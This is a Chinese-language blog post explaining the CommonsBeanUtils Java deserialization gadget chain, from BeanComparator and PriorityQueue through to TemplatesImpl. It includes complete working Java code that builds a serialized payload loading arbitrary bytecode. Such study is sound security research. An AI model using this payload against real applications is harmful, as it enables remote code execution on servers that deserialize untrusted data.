CommonsBeanUtils反序列化

CommonsBeanUtils

基础

先说说 JavaBean 的这个概念

比如Baby是一个最简单的JavaBean

    public class Baby {
        private String name = "gbz";

        public String getName(){
            return name;
        }

        public void setName (String name) {
            this.name = name;
        }
    }

这里定义两个简单的 getter setter方法

Commons-BeanUtils 中提供了一个静态方法 PropertyUtils.getProperty ,让使用者可以直接调用任意 JavaBeangetter方法

System.out.println(PropertyUtils.getProperty(new Baby(), "name"));

他会输出gbz,Commons-BeanUtils 会自动找到name属性的getter 方法,也就是 getName ,然后调用并获得返回值。这个形式就很自然得想到能任意函数调用

分析

TemplatesImpl#getOutputProperties()他是和之前链子不一样的地方,也是关键

public synchronized Properties getOutputProperties() {
    try {
        return newTransformer().getOutputProperties();
    }
    catch (TransformerConfigurationException e) {
        return null;
    }
 }

他里面调用了newTransformer很熟悉的,动态代理用过,我们直接套就行

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->

TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()

 -> TransletClassLoader#defineClass()

那么,我们要想他前面的链子是什么,就得用到上面的知识了,它是一个 getter 方法,并且作用域为 public,所以可以通过 CommonsBeanUtils 中的 PropertyUtils.getProperty() 方式获取

PropertyUtils.getProperty(templates,OutputProperties)

接着我们要看谁调用了PropertyUtils.getProperty,我们在BeanComparatorCompare找到了

    public int compare( T o1, T o2 ) {

        Object value1 = PropertyUtils.getProperty( o1, property );
        Object value2 = PropertyUtils.getProperty( o2, property );
        return internalCompare( value1, value2 );
   
}

看到Compare(),我们就可以知道了,还是利用cc4这条链

我们修改一下cc4

    TemplatesImpl templates = new TemplatesImpl();
    Class tc = TemplatesImpl.class;
    Field name = tc.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"aaa");
    Field bytecodes = tc.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\学习资料\\java\\java反序列化\\Test.class"));
    byte[][] codes = {code};
    bytecodes.set(templates,codes);
    Field tfactory = tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());

这一部分是给newtransformer后面的步骤赋值,接着我们要给Compare赋值,Object value1 = PropertyUtils.getProperty( o1, property );,要给o1赋值为templates,property赋值为OutputProperties,OutputProperties可以直接反射赋值

    Class beanclass = beanComparator.getClass();
    Field property = beanclass.getDeclaredField("property");
    property.setAccessible(true);
    property.set(beanComparator,"outputProperties"); 

我们下一步就是在PriorityQueue里面的Comepare传值

private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}

上面comparator.compare(x, (E) c)我们要传参x, private void siftDownUsingComparator(int k, E x),到上一步

private void siftDown(int k, E x) {
    if (comparator != null)
        siftDownUsingComparator(k, x);
    else
        siftDownComparable(k, x);
}

private void siftDown(int k, E x),在x传参,接着上一步heapify

private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}

ok,破案了这个x就是看链条的第几个,我们就是直接add,别忘记cc4的原因。

    queue.add(templates);
    queue.add(templates);

这样就可以给链条赋值两个templates,他就能触发了,但是我们知道cc4他add也是会触发Compare,所以我们还是用老方法,给他先赋值一个无关紧要的东西。后面用反射,给他赋值

    queue.add(1);
    queue.add(1);
    PriorityQueue queue = new PriorityQueue(2, beanComparator);

    Class queueclass = PriorityQueue.class;
    Field queuefield = queueclass.getDeclaredField("queue");
    queuefield.setAccessible(true);
    queuefield.set(queue,new Object[]{templates,templates});

执行代码

    TemplatesImpl templates = new TemplatesImpl();
    Class tc = TemplatesImpl.class;
    Field name = tc.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates, "aaa");
    Field bytecodes = tc.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\学习资料\\java\\java反序列化\\Test.class"));
    byte[][] codes = {code};
    bytecodes.set(templates, codes);
    Field tfactory = tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates, new TransformerFactoryImpl());//cc4前半部分new
    BeanComparator beanComparator = new BeanComparator();
    Class beanclass = beanComparator.getClass();
    Field property = beanclass.getDeclaredField("property");
    property.setAccessible(true);
    PriorityQueue queue = new PriorityQueue(2, beanComparator);
    queue.add(1);
    queue.add(1);
    property.set(beanComparator,"outputProperties");
    Class queueclass = PriorityQueue.class;
    Field queuefield = queueclass.getDeclaredField("queue");
    queuefield.setAccessible(true);
    queuefield.set(queue,new Object[]{templates,templates});
    serialize(queue);
    unserialize("ser.bin");

看上面的代码property.set(beanComparator,"outputProperties");这个代码要放在add后面,因为如果放在他的前面会导致报错,通过调试发现的。他会在Compare发生错误。

    public int compare( T o1, T o2 ) {

    if ( property == null ) {
        // compare the actual objects
        return internalCompare( o1, o2 );
    }

    try {
        Object value1 = PropertyUtils.getProperty( o1, property );
        Object value2 = PropertyUtils.getProperty( o2, property );
        return internalCompare( value1, value2 );
    }
    catch ( IllegalAccessException iae ) {
        throw new RuntimeException( "IllegalAccessException: " + iae.toString() );
    }
    catch ( InvocationTargetException ite ) {
        throw new RuntimeException( "InvocationTargetException: " + ite.toString() );
    }
    catch ( NoSuchMethodException nsme ) {
        throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() );
    }
}

他会在Object value1 = PropertyUtils.getProperty( o1, property );报错,因为o1你传入的是1,但是property你传入的是outputProperties他在o1这个类里面没有outputProperties这个方法,找不到,所以报错,所以要在后面赋值

完整代码

public class Main {
public static void main(String[] args) throws Exception {

    TemplatesImpl templates = new TemplatesImpl();
    Class tc = TemplatesImpl.class;
    Field name = tc.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates, "aaa");
    Field bytecodes = tc.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\学习资料\\java\\java反序列化\\Test.class"));
    byte[][] codes = {code};
    bytecodes.set(templates, codes);
    Field tfactory = tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates, new TransformerFactoryImpl());//cc4前半部分new
    BeanComparator beanComparator = new BeanComparator();
    Class beanclass = beanComparator.getClass();
    Field property = beanclass.getDeclaredField("property");
    property.setAccessible(true);
    PriorityQueue queue = new PriorityQueue(2, beanComparator);
    queue.add(1);
    queue.add(1);
    property.set(beanComparator,"outputProperties");
    Class queueclass = PriorityQueue.class;
    Field queuefield = queueclass.getDeclaredField("queue");
    queuefield.setAccessible(true);
    queuefield.set(queue,new Object[]{templates,templates});
    serialize(queue);
    unserialize("ser.bin");

}



public static void serialize(Object obj) throws IOException {
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
    oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
    Object obj = ois.readObject();
    return obj;
}
 }
posted @ 2024-07-28 00:23  毛利_小五郎  阅读(15)  评论(0)    收藏  举报